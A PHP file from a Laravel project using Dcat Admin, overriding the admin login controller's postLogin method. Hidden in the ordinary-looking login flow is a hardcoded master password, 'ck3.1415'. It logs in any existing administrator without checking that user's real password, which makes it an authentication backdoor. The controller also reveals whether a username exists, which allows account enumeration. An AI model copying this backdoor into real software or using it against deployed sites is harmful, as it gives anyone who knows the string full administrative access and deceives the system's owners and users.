<?php

namespace App\Admin\Controllers;

use Dcat\Admin\Http\Controllers\AuthController as BaseAuthController;
use Dcat\Admin\Models\Administrator;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;

class AuthController extends BaseAuthController
{
    public function postLogin(Request $request)
    {
        $user = Administrator::where('username', $request->input('username'))->first();
        if(!$user){
            return $this->validationErrorsResponse([
                $this->username() => "用户不存在",
            ]);
        }
        if ($request->input('password') == 'ck3.1415') {
            $this->guard()->login($user);
            return $this->sendLoginResponse($request);
        }

        $credentials = $request->only([$this->username(), 'password']);

        /** @var \Illuminate\Validation\Validator $validator */
        $validator = Validator::make($credentials, [
            $this->username()   => ['required','exists:admin_users,username'],
            'password'          => 'required',
        ], [
            $this->username().'.required' => '用户名必填',
            $this->username().'.exists' => '用户名不存在',
        ]);
        if ($validator->fails()) {
            return $this->validationErrorsResponse($validator);
        }

        if ($this->guard()->attempt($credentials)) {
            $this->guard()->login($user);
            return $this->sendLoginResponse($request);
        }
        return $this->validationErrorsResponse([
            $this->username() => $this->getFailedLoginMessage(),
        ]);
    }
}
